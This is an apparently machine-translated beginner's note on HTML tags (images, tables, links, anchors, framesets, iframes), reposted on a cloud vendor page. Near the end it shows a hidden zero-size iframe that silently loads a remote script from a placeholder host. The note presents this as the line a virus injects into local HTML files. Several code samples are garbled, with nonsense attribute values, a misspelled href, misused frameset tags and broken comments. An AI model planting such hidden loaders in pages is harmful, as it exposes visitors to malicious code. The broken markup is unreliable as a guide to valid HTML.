HTML Learning Note Three

Source: Internet
Author: User


Picture Label img

In general, put the picture in the compiler, the directory of the current project

    <!--border border Alt is usually applied when the picture is not displayed , show text-to


image map : Map

For example, a place on a map, a point, to the local XX website

Application: Select a part of the current image to do a link

But the area of the picture is done by coordinates, and some software is used to classify the image as a hotspot area.


Table Label :<table>

Line: TR

Cell: TD

cellpanding cellspacing: Cell margins and spacing   

<body>    <table border= "1" bordercolor = "#000EE" cellpadding= "width=" >        <caption> Information </caption>        <tr>            <th> name </th> <th> age </th>        </tr>        <tr >            <td> Zhang San </td> <td> + </td>        </tr>         </table></body>

about making irregular tables: how many rows to count, how many lines per line

colspan = "2": two columns

rowspan = "2": Takes up two lines

   <table border= "1" bordercolor = "#000EE" width= "$" cellpadding= "ten" cellspacing= "0" >        <tbody><!-- The next level of change in the table is tbody, not written and         <tr> <th colspan= "2" > Personal information </th> </tr>         <tr> <td > Zhang San </td> <td>18</td></tr>         </tbody>>     </table>     


hyperlink <a herf = "" > </a>

Role: Connecting Resources
With Herf, you have the same type of click Effect, Herf attribute values are different, the parsing method is different
If no protocol has been specified for the property value, the value (file protocol) is resolved by the default protocol at the time of parsing, so add the HTTP

<a href= "http://www.baidu.com" target= "_blank" > Baidu </a>


Anchor: The current interface of the Web page returns to the specified coordinate position

<a name = "Top" >Top</a>         <a href= "#bottom" > Bottom position </a>        


<!--Note that coordinates must be positioned relative to the location of the page--
<!--such as center is defined in the middle of the current HTML code--
<!--bottom coordinate positioning code, it must be written in the lower part of the code-
-

Frames <frameset>

The application of the framework is mainly in the past n years, and now the use of less, outdated products

Framework, allowing a form to display multiple resources for window reuse

For the framework of the content code, do not write in the body, because it is not the main content


Make a frame as above, the left border opens the link, the right border shows

<frameset rows= "30%,*" > <!--Upper and lower part, above 30%,* represents the remaining all--        <frameset src = top.html "name =" Top "/>    <frameset cols = "30%,*" >            <frameset src = "... /left.html "name =" Left "/>            <frameset src =". /right.html "name =" right "/>    </frameset>    </frameset>    <!--<a href=". /imgs.html "target =" right "> link 1</a>-->

Picture in picture label <iframe >


<iframe src= "1.html" height= "width=" > Pip tags </iframe>      <!--is to display a page form      on the current page- <!--if you see a word because the browser does not support that label--      <iframe src= "http://www.xxx.com/1.js" height= "0" width= "0" > Rogue access </ Iframe>       <!--JS is a program file that adds all the files, doesn't see any forms, but executes files--

For example, a virus, in all the local HTML file will be added to the above sentence, will be malicious access to your computer, the lower part of the browser, will show the loading situation, pay attention to see whether the current page








HTML Learning Note three

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.